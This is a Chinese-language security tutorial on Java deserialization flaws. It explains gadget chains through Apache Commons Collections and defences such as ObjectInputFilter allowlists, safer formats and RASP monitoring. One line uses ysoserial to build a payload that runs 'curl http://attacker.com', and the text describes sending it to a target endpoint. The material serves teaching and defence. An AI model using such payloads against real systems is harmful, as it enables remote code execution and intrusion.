反序列化漏洞与防护(进阶篇)
字数 1062 2025-11-07 12:33:56
反序列化漏洞与防护(进阶篇)
描述
反序列化漏洞是指当应用程序对不可信的序列化数据进行反序列化处理时,攻击者通过构造恶意序列化数据,在目标系统中执行任意代码或进行非授权操作的安全漏洞。在进阶篇中,我们将深入探讨Java反序列化漏洞的底层机制(如利用链构造)、常见利用库(如Apache Commons Collections)、以及现代防护框架(如JDK原生过滤器)。
解题过程
-
漏洞核心原理回顾
- 序列化:将对象转换为字节流,便于存储或传输。
- 反序列化:将字节流还原为对象。
- 漏洞成因:反序列化过程中,若未对数据源进行严格校验,攻击者可注入恶意序列化数据,触发对象中的危险方法(如
Runtime.exec())。
-
Java反序列化利用链分析
- 关键概念:利用链(Gadget Chain)
攻击者通过组合多个类的方法调用,形成一条从反序列化入口到危险代码执行的路径。例如:- 起点:反序列化入口类(如
HashMap的readObject方法)。 - 中间跳板:可被反射调用的类(如Apache Commons Collections的
Transformer接口实现类)。 - 终点:危险方法(如
TemplatesImpl.newTransformer()用于加载字节码)。
- 起点:反序列化入口类(如
- 示例:Apache Commons Collections利用链
- 攻击者构造一个
InvokerTransformer,其transform方法可通过反射调用任意方法。 - 结合
ChainedTransformer和LazyMap,在反序列化时自动执行链式操作,最终触发命令执行。
- 攻击者构造一个
- 关键概念:利用链(Gadget Chain)
-
动态检测与利用工具
- 使用工具(如YSOSERIAL)生成恶意载荷:
java -jar ysoserial.jar CommonsCollections1 "curl http://attacker.com" > payload.bin - 将生成的载荷发送至目标应用的反序列化接口(如HTTP请求中的Base64编码数据)。
- 使用工具(如YSOSERIAL)生成恶意载荷:
-
进阶防护方案
- 白名单过滤(JDK 9+)
使用ObjectInputFilter设置反序列化类白名单:ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("com.example.*;!*"); inputStream.setObjectInputFilter(filter); - 替换序列化协议
采用JSON、Protocol Buffers等更安全的序列化格式,避免直接使用Java原生序列化。 - 运行时监控
通过Java Agent技术监控反序列化操作,阻断可疑调用链(如使用RASP方案)。
- 白名单过滤(JDK 9+)
-
代码审计要点
- 检查所有
readObject、readResolve方法的实现是否调用了危险函数。 - 排查第三方库中是否存在已知利用链(如Fastjson、XStream的历史漏洞)。
- 检查所有
通过理解利用链的构造逻辑并结合分层防护,可显著降低反序列化漏洞的风险。